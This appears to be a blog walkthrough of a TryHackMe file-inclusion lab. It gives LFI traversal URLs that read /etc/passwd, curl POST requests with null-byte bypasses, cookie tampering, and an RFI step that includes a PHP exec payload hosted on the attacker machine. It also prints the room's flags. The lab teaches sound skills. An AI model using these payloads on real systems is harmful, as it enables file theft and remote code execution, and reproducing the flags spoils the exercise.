November 20, 2026
File Inclusion Room walkthrough from TryHackMe (with explanation of answers)
This room was challenging so I chose it for this week’s writeup.

By Gabriella Kwok
5 min read
Task 1 Introduction
"By the end of this room, you will be able to:
- Explain the difference between path traversal, LFI, and RFI
- Identify file inclusion entry points in a web application
- Exploit LFI and RFI vulnerabilities to read sensitive files and gain remote code execution
- Apply remediation techniques to prevent file inclusion vulnerabilities"
Well with that in mind,
Let's continue to the next section to deploy the attached VM.
No answer needed
Task 2 Deploy the VM
As always, we start the attacker machine and the lab machine. Then we navigate to http://LAB_MACHINE_IP/ .
Once you've deployed the VM, please wait a few minutes for the webserver to start, then progress to the next section!
No answer needed
Task 3 Path Traversal
The material covers how file inclusion and path traversal vulnerabilities work and some common target files. With that recently acquired knowledge we can answer:
What function causes path traversal vulnerabilities in PHP?
file_get_contents
Task 4 Local File Inclusion — LFI
Give Lab #1 a try to read /etc/passwd. What would the request URI be?
We go into lab 1.
I tried putting "welcome.php" as the file name in the input form, and the output is shown below.
The url was as the following:
http://LAB_MACHINE_IP/lab1.php?file=welcome.phphttp://LAB_MACHINE_IP/lab1.php?file=welcome.phpAll we need to do is change welcome.php to /etc/passwd and there we go:
Final answer:
In Lab #2, what is the directory specified in the include function?
We go the Lab 2. Again we enter welcome.php as a example (so the website will help us format the URL), and then we modify the file value to an invalid one.
Original:
http://LAB_MACHINE_IP/lab1.php?file=welcome.phphttp://LAB_MACHINE_IP/lab1.php?file=welcome.phpModified:
http://LAB_MACHINE_IP/lab1.php?file=THMhttp://LAB_MACHINE_IP/lab1.php?file=THMAnd we are shown some errors.
Final answer:
includes
Task 5 Local File Inclusion — LFI Continued
Give Lab #3 a try to read /etc/passwd. What is the request look like?
Going to Lab 3, I included the file "welcome" in the input form and the output is shown below:
Knowing the full path tells us exactly how many ../ sequences we need so the final answer is:
Which function is causing the directory traversal in Lab #4?
This question is somewhat similar to the last question in Task 4:
Go to Lab 4.
I entered welcome.php as a test, and in the url I modified the file parameter to THM (an invalid option) and triggered an error:
The function file_get_contents is causing the directory traversal.
Try out Lab #6 and check what is the directory that has to be in the input field?
THM-profile
(This is quite obvious so I will not elaborate)
Try out Lab #6 and read /etc/os-release. What is the VERSION_ID value?
I tried THM-profile/etc/os-release in the file input field and it returned an error.
Knowing the current path, we can leverage ../ to get the file contents of the os-release file.
In the input form, include:
THM-profile/../../../../etc/os-releaseTHM-profile/../../../../etc/os-releaseand the output is as below-
The VERSION_ID value is 12.04 .
Task 6 Remote File Inclusion
We showed how to include PHP pages via RFI. Do research on how to get remote command execution (RCE), and answer the question in the challenge section.
No answer needed
(I will include this in the next task)
Task 7 Challenge
We go to
http://LAB_MACHINE_IP/challenges/index.php
Capture Flag1 at /etc/flag1
Click on the Challenge 1 link, and we see something like this
There are two ways you can get the flag:
- Right click to Inspect in firefox, and inside Inspector we can see this line of code:
- Change the method to POST
- In the input field for the file name, put "/etc/flag1"
- It reveals the flag:
- Second method: we use terminal (curl)
I used the command below
curl http://MACHINE_IP/challenges/chall1.php -X POST -d "file=/etc/flag1"curl http://MACHINE_IP/challenges/chall1.php -X POST -d "file=/etc/flag1"- -X specifies the HTTP request method
- -d sends specified data in an HTTP request body to a server
Final flag:
F1x3d-iNpu7-f0rrn
Capture Flag2 at /etc/flag2
We go to the link for Challenge 2, and we are asked to refresh the page. After we do that we see:
Again, we right click to inspect. I clicked on the storage tab, and under cookies I found some interesting items:
I changed the Value from Guest to Admin.
This still returns some errors:
Still in Cookies, I changed the Value from admin to ../../../../etc/flag2%00
(with a null byte)
returns the flag:
Final flag:
c00k13_i5_yuMmy1
Capture Flag3 at /etc/flag3
Going to Challenge 3, I simply tried to put /etc/flag3 in the input form. Sadly that didn't work.
It returned an error as shown above. Here we can see that the / doesn't get included in the file path, and there is a .php added at the end. By changing the request method to POST, it includes the / .
It also adds a .php : we can bypass this by using a null byte (%00)
So I formed a final command:
curl http://MACHINE_IP/challenges/chall3.php -X POST -d "file=/etc/flag3%00" --output flag3.txtcurl http://MACHINE_IP/challenges/chall3.php -X POST -d "file=/etc/flag3%00" --output flag3.txtAfterwards use cat to view the file we saved the ouput to:
cat flag3.txtcat flag3.txtAnd that gave us the flag!
P0st_1s_w0rk1in9
Gain RCE in Lab #Playground /playground.php with RFI to execute the hostname command. What is the output?
- We make the file:
nano cmd.txtnano cmd.txtInside the text editor, we form a payload that will execute the hostname command.
<?PHP print exec('hostname'); ?><?PHP print exec('hostname'); ?>Control X to save, then Y and press enter.
- Then we start the local server (in another terminal tab), I'm using port 8080,
python3 -m http.server 8080python3 -m http.server 8080and we go to the url:
http://LAB_MACHINE_IP/playground.php?file=http://ATTACK_MACHINE_IP:8080/cmd.txthttp://LAB_MACHINE_IP/playground.php?file=http://ATTACK_MACHINE_IP:8080/cmd.txt
Final answer: lfi-vm-thm-f8c5b1a78692
Task 8 Remediation
I can now exploit LFI vulnerabilities! That is all for this week, and thank you for reading to the end. If you found this helpful please leave a comment or a like. Bye!